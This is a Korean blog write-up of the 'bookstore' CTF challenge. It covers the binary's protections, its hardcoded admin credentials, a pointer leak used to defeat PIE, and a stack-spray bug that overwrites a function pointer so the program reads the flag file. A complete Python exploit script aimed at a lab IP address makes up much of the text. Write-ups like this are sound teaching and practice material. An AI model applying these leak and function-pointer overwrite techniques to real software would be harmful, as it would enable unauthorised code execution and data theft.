# bookstore: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=5b70a1f426ece14edd78f5a3fc006910d5eeb556, stripped
파일 명령을 통해 보면 해당 바이너리는 32bit 환경에서 돌아가는 바이너리이다.
보호 기법으로는 NX, Canary, PIE 가 걸린 것을 확인할 수 있다.
해당 바이너리는 도서 관리 프로그램으로, 구조체를 사용하여 도서 정보를 관리하고 있다.
처음 바이너리를 실행하게 되면 계정과 비밀번호를 묻는다. 이 때 계정과 비밀번호는 "helloadmin", "iulover!@#$"
도서 정보를 조회하는 부분을 보자. 이 부분에서 특정 정보를 조회할 때 함수와, 포인터를 이용하여 정보를 출력하는 것을 볼 수 있다. printf_free_shipping 함수의 경우 book_shipping 값이 1 일 때 동작한다.
만약 우리가 위 함수를 조작할 수 있다면 EIP 컨트롤이 가능하다는 것을 알 수 있다.
이 부분은 "4. show item list" 부분으로 이 부분을 통해 우리는 &printf_description 주소 값을 알아낼 수 있다.
바이너리를 분석했을 때 구조체의 정보는,
book_number | book_type | book_name[20byte] | book_price[4byte] | book_stock[4byte] | &printf_description ...
으로 구성되어 있다.
여기서 우리가 book_name, book_price, book_stock 를 null byte 없이 채워준다면 &printf_description 부분을 알 수 있다.
결과적으로, 이 주소 값을 이용한 offset 계산을 통해 바이너리 내에 fread 주소를 알아낼 수 있다.
만약, printf_free_shipping(&book_name) 부분에서 printf_free_shipping 함수를 fread 주소로 변조하고, &book_name을 flag 파일로 설정한다면 어떻게 될까? 당연히 flag를 읽을 것이다..
book_name 의 경우에는 modify 부분을 통해 쉽게 flag 파일의 위치로 변조할 수 있다.
이 부분은 modify description 부분이다. 기존의 "Add new item" 에서는 descripion을 300byte 만큼받았지만 여기에서는 3000byte 만큼 받는다. 그리고 memset, strncpy 함수는 300byte 만큼만 수행한다.
바로 이 부분이 stack spray 가 일어나는 부분이다. 3000byte를 입력받지만 전체에 대해 memset 을 하지 않기 때문에 스택에 남아있게 된다. 그리고 이 후 memcpy 함수를 통해 구조체를 복사 했을 때, 이 남아있는 값이 함수 포인터 값을 덮어쓰게 된다.
과정이 생각보다 복잡하기에 exploit 시나리오를 그려보자....
1. "add new item" 부분에서 도서 생성 => book_type 을 "0" 으로 설정해야 printf_free_shipping 함수 설정을 함.
2. "modify information" 에서 null byte 없이 정보를 꽊 채운다. => 이유는 printf_description 주소를 leak 하기 위해서..
3. "show item list" => leak 을 통해 알아낸 주소와 offset 계산을 통해 fread 함수의 주소를 알아낸다.
4. "modify information" 부분의 modify description 입력받는 부분에서 fread 함수의 주소를 스택에 뿌린다.
book_name 또한 flag 위치로 설정..
5. "modify shipping option" 을 "1" 로 설정한다. => 이유는 "1" 로 설정해야 함수가 실행됨..
6. "view item's information" 을 통해 조회하는 과정에서 printf_free_shipping 부분이 fread 함수 주소로 변조되어 있고, book_name 에 flag 의 위치를 넣었기 때문에 flag 값을 읽어온다.
- - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - -
from socket import *
from struct import *
import hexdump
import time
p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
def Login():
time.sleep(0.3)
print s.recv(1024)
s.send("helloadmin\n")
s.send("iulover!@#$\n")
time.sleep(0.3)
print s.recv(1024)
def add_item():
s.send("1\n")
time.sleep(0.3)
print s.recv(1024)
s.send("sunbi\n")
time.sleep(0.3)
print s.recv(1024)
s.send("sunbi\n")
time.sleep(0.3)
print s.recv(1024)
s.send("0\n")
time.sleep(0.3)
print s.recv(1024)
def m_modify():
time.sleep(0.3)
s.send("2\n")
time.sleep(0.3)
print s.recv(1024)
time.sleep(0.3)
s.send("0\n")
time.sleep(0.3)
print s.recv(1024)
def mod_information(book_stock, book_price, book_shipping, book_avaliable, book_name, book_description):
s.send("3\n")
time.sleep(0.3)
print s.recv(1024)
s.send(book_stock + "\n")
time.sleep(0.3)
print s.recv(1024)
s.send(book_price + "\n")
time.sleep(0.3)
print s.recv(1024)
s.send(book_shipping + "\n")
time.sleep(0.3)
print s.recv(1024)
s.send(book_avaliable + "\n")
time.sleep(0.3)
print s.recv(1024)
s.send(book_name + "\n")
time.sleep(0.3)
print s.recv(1024)
s.send(book_description + "\n")
time.sleep(0.3)
print s.recv(1024)
def quit_modify():
s.send("0\n")
time.sleep(0.3)
print s.recv(1024)
def show_item():
s.send("4\n")
time.sleep(0.3)
data = s.recv(1024)
hexdump.hexdump(data)
func1 = up(data[143:147])
base_addr = func1 - 0x9ad
print "[*] base_addr = " + hex(base_addr)
readfile_function = base_addr + 0x8db
print "[*] readfile_function = " + hex(readfile_function)
return readfile_function
def mod_description(readfile_function):
s.send("2\n")
time.sleep(0.3)
print s.recv(1024)
stackspray = p(readfile_function) * 744
s.send(stackspray)
raw_input(">")
time.sleep(0.3)
print s.recv(1024)
def mod_shipping_option():
s.send("4\n")
time.sleep(0.3)
print s.recv(1024)
s.send("1\n")
time.sleep(0.3)
print s.recv(1024)
def view_item():
s.send("3\n")
time.sleep(0.3)
print s.recv(1024)
s.send("0\n")
time.sleep(0.3)
print s.recv(1024)
print s.recv(1024)
print s.recv(1024)
# # # # # # # # # # # # # # # # # # # # # # # # # #
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.162', 9988))
Login()
add_item()
m_modify()
mod_information("2147483647", "2147483647", "0", "0", "A"*20, "B"*300)
quit_modify()
readfile_function = show_item()
m_modify()
mod_description(readfile_function)
mod_information("1234", "1234", "0", "0", "/ctf/flag\x00", "sunbi")
mod_shipping_option()
quit_modify()
view_item()
# # # # # # # # # # # # # # # # # # # # # # # # # #
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'ctf' 카테고리의 다른 글
[CodeGate 2016 CTF] Watermelon (0) | 2016.12.14 |
---|---|
[SECCON 2016 CTF] cheer_msg (0) | 2016.12.12 |
[CodeGate 2015 CTF] systemshock (0) | 2016.07.30 |
[CodeGate 2015 CTF] yocto (0) | 2016.07.06 |
[CodeGate 2014 CTF] 4stone (0) | 2016.06.24 |